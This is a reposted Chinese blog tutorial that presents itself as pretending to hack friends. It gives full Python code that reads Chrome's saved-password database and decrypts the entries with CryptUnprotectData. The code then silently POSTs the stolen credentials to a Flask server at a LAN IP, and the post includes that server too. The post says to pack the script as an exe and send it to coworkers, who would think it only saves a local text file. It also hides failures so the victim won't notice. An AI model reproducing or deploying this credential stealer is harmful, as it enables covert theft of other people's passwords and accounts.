使用python假装装黑客,批量破解朋友的网站密码

举报
技术火炬手 发表于 2020/06/12 14:32:48 2020/06/12
【摘要】 今天看了一篇关于如何破解iphone手机密码的文章,瞬间觉得科学技术不是第一生产力,why?看完这篇就get了!

image.png

image.png

image.png

根据“可靠消息”称,即便美国FBI也无法轻易的对iphone手机进行暴力破解,当然美国有一家黑客公司可针对iphone进行破解,单收费过万美金。

那么铺天盖地的iphone手机密码破解“黑客”是怎么做的?
无非是骗,他们假装成各类官方人员告诉你发现你的iphone手机存在异常,需要远程告知apple_id帮你追回手机,呵呵….
可是,这个梗和今天的文章有什么关系呢?

image.png

image.png

随着Python的活跃,各大平台都在鼓吹,甚至已经出了关于python黑客入门的书籍。
也许做一个黑客难如登天,那不如我们换个思路,去假装做一个伪黑客如何?

前几天看帖子,发现我们使用浏览器的时候,当登陆一个需要输入用户名密码的网站时,在你登陆成功后,系统会提示你是否保存密码,如果点击确认,浏览器将会把我们本次输入的密码,存储在浏览器中,待下次登录时便可以免密登录。
那么,这些密码是怎么保存的,又存储在哪里呢?

image.png

也许很多人会说,360浏览器、QQ浏览器,这些国产的加壳浏览器不论美观还是所谓的安全方面都做的很符合国人需求。但如果你的工作与IT挂钩,无疑Chrome将是很多朋友的首选。当然这篇文章不是介绍Chrome浏览器的使用手册,今天我们主要来看看Chrome浏览器的密码存储机制。

image.png

点击你们的Chrome浏览器右上角,进入设置->高级->管理密码(根据浏览器版本不同,可能存在部分差异),亦或者在Chrome浏览器中输入chrome://settings/passwords。你会看到很多已保存过的密码表单信息,当然如果你要查看密码详情,就要输入电脑的系统管理员密码。

那么,Chrome的密码是以什么方式进行存储的呢?SQLite…
很多嵌入式产品中,都会使用SQLite数据库进行数据存储,它占用资源低,数据库即文件,又支持sql语法的增删改查,简直不要太方便

image.png

首先,进入我的电脑,地址栏中输入%LOCALAPPDATA%,进入app的数据存储路径:

image.png

既然拿到了SQLite数据库文件,我们随便找个sqlite工具,就能打开这个数据库了!
这里我使用sqlitestudio:

image.png

打开数据库,我们看到有三张表:
logins 、meta、 stats
其中logins中就存储这你保存的网址、用户名、密码数据,分别是:
signon_realm,username_value,password_value
但问题来了,password_value的字段看着是空的啊?因为加密了!
如何解密?网上查了下:

CryptUnprotectData数据可以在win32crypt中找到,要使用该模块,需要进行安装:
pip install pywin32
万事俱备,就差撸代码了!

image.png

 1import os
 2import shutil
 3import sqlite3
 4import win32crypt
 5
 6db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')
 7
 8tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
 9print(tmp_file)
10if os.path.exists(tmp_file):
11    os.remove(tmp_file)
12shutil.copyfile(db_file_path, tmp_file)
13
14conn = sqlite3.connect(tmp_file)
15for row in conn.execute('select signon_realm,username_value,password_value from logins'):
16    ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0)
17    print('网站:%-50s,用户名:%-20s,密码:%s' % (row[0][:50], row[1], ret[1].decode('gbk')))
18
19conn.close()
20os.remove(tmp_file)

通过解密,我们获取到了Chrome浏览器保存的用户名密码,然后保存至文本。

image.png

之后我们只需要使用pyinstaller -F xxx.py,将代码打包成exe发给同事,就可以在他的电脑上获取密码了!
但,如果咱们的黑客之旅到此为止,那这个伪黑客未免有点low了吧?

image.png

为什么说要打包成exe?一是可以脱离环境单独执行,二却是为了加壳
我们在原有的代码基础上,添加如下内容

1import requests
2try: # 记得添加try except 不然万一你忘记启动Flask程序,岂不是让同事发现了
3    requests.post('http://192.168.1.101:9999/index',
4                  data=''.join(passwordList).encode('utf-8'))
5except:
6    pass

最后整理我们的代码:

1# -*- coding: utf-8 -*-
 2# @Author  : 王翔
 3# @JianShu : 清风Python
 4# @Date    : 2019/5/18 22:53
 5# Software : PyCharm
 6# version:Python 3.6.8
 7# @File    : ChromePassword.py
 8
 9import os
10import shutil
11import sqlite3
12import win32crypt
13import json
14import requests
15
16APP_DATA_PATH = os.environ["LOCALAPPDATA"]
17DB_PATH = r'Google\Chrome\User Data\Default\Login Data'
18
19
20class ChromePassword:
21
22    def __init__(self):
23        self.passwordsList = []
24
25    def get_chrome_db(self):
26        _full_path = os.path.join(APP_DATA_PATH, DB_PATH)
27        _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
28        if os.path.exists(_tmp_file):
29            os.remove(_tmp_file)
30        shutil.copyfile(_full_path, _tmp_file)
31        self.show_passwords(_tmp_file)
32
33    def show_passwords(self, db_file):
34        conn = sqlite3.connect(db_file)
35        _sql = '''select signon_realm,username_value,password_value from logins'''
36        for row in conn.execute(_sql):
37            ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
38            # 密码解析后得到的是字节码,需要进行解码操作
39            _info = 'url: %-40s username: %-20s password: %s\n' % \
40                    (row[0][:50], row[1], ret[1].decode())
41            self.passwordsList.append(_info)
42        conn.close()
43        os.remove(db_file)
44
45    def save_passwords(self):
46        with open('password.txt', 'w', encoding='utf-8') as f:
47            f.writelines(self.passwordsList)
48
49    def transfer_passwords(self):
50        try:
51            # 此处填写远端Flask对应的IP:PORT
52            requests.post('http://192.168.1.102:9999/index',
53                          data=json.dumps(self.passwordsList))
54        except requests.exceptions.ConnectionError:
55            pass
56
57
58if __name__ == '__main__':
59    Main = ChromePassword()
60    Main.get_chrome_db()
61    Main.save_passwords()
62    Main.transfer_passwords()

下来,我们在本地写一个最简单的Flask程序,用户获取回传的参数,代码如下:

 1# -*- coding: utf-8 -*-
 2# @Author  : 王翔
 3# @JianShu : 清风Python
 4# @Date    : 2019/5/18 22:53
 5# Software : PyCharm
 6# version:Python 3.6.8
 7# @File    : ChromePassword.py
 8
 9from flask import Flask, request
10import time
11import json
12
13app = Flask(__name__)
14
15
16@app.route('/index', methods=["GET", "POST"])
17def index():
18    if request.method == 'POST':
19        _txtName = '%s_%s.txt' % (request.remote_addr,
20                                  time.strftime('%Y%m%d%H%M%S', time.localtime()))
21        with open(_txtName, 'w', encoding='utf-8') as f:
22            f.writelines(json.loads(request.data))
23    return "小哥,里面玩儿啊"
24
25
26if __name__ == '__main__':
27    # 端口可自行设置
28    app.run(host='0.0.0.0', port=9999)

打完收工,就差同事去点击你发给他的exe了。他以为你的工具仅仅把Chrome密码生成txt保存,
其实,在他点击工具的同时,你电脑会获取他传输的数据,并存储在一个ip时间戳的文本中!

image.png

然后,拿去给他们炫耀吧!

-----------------------

本文转自“清风Python”公众号

【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。